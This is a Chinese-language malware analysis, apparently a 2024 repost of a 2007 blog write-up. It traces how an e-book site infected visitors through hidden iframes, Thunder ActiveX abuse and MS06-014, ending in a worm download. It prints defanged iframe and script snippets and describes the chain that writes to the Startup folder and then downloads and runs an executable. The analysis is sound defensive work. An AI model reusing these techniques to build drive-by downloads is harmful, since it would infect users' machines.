利用迅雷和MS06014漏洞传播Worm.Win32.Agent.a的电子书网站

朴灿烈づ我的快乐病毒、 2024-02-17 14:02 73阅读 0赞

**endurer** 原创  
2007-06-29 第**1**版

浏览该网站时，Kaspersky报告：恶意脚本: 拒绝访问。

检查该网页，发现代码：  
/---  
＜iframe src=hxxp://x\*x\*.k\*o\*5\*\*\*1.com/index.htm width=50 height=0＞＜/iframe＞  
\---/

**hxxp://x\*x\*.k\*o\*5\*\*\*1.com/index.htm**　包含代码：  
/---  
＜iframe src="hxxp://x\*x\*.k\*o\*5\*\*\*1.com/vip.htm" height=0 width=0＞＜/iframe＞  
＜iframe src="hxxp://x\*x\*.k\*o\*5\*\*\*1.com/vip1.htm" height=0 width=0＞＜/iframe＞  
＜iframe src="hxxp://x\*x\*.k\*o\*5\*\*\*1.com/vip2.htm" height=0 width=0＞＜/iframe＞  
\---/

**hxxp://x\*x\*.k\*o\*5\*\*\*1.com/vip.htm** 内容为：  
/---  
＜SCRIPT src="vip.js"＞＜/SCRIPT＞  
＜BODY οnlοad=shit();＞＜BR＞＜BR＞  
\---/

shit()定义在vip.js中：  
/---  
function shit()  
\{  
try\{qianxu\_fan = new ActiveXObject("ThunderServer.webThunder.1");\}  
catch(e)\{return;\}  
\---/

用来创建ActiveXObject"ThunderServer.webThunder.1"。

**vip.js** 利用它来的实施：  
利用ADODB创建文件：C:/Documents and Settings/All Users/「开始」菜单/程序/启动/microsofts.hta  
利用Shell.Run调用IE打开网页 hxxp://www.mv\*\*\*ps\*f.com/kl/vip.exevips.htm，下载病毒文件vip.exe  
利用shell.exec运行下载到IE临时文件夹中的病毒文件vip\[1\].exe

文件说明符 : D:/test/vip.exe  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-6-29 21:34:52  
修改时间 : 2007-6-29 21:34:54  
访问时间 : 2007-6-29 0:0:0  
大小 : 191972 字节 187.484 KB  
MD5 : 1ac930db8829397b86517eae9cc56c0e

瑞星报为：**Worm.Win32.Agent.a**

**hxxp://x\*x\*.k\*o\*5\*\*\*1.com/vip1.htm** 内容为US-ASCII编码。到 [http://purpleendurer.ys168.com][http_purpleendurer.ys168.com] 下载US-ASCII编码解码程序进行解密，得到JavaScript代码，功能是下载　kl.exe，保存为 c:/Microsoft.com，利用 ShelL.Application 运行。

**view-source:hxxp://x\*x\*.k\*o\*5\*\*\*1.com/vip2.htm**内容为US-ASCII编码。解密得到JavaScript代码，功能是利用MS06014漏洞下载 kl.exe，保存为 c:/Microsoft.com，并创建 Microsoft.vbs，来运行。

kl.exe 已不存在。

[http_purpleendurer.ys168.com]: http://purpleendurer.ys168.com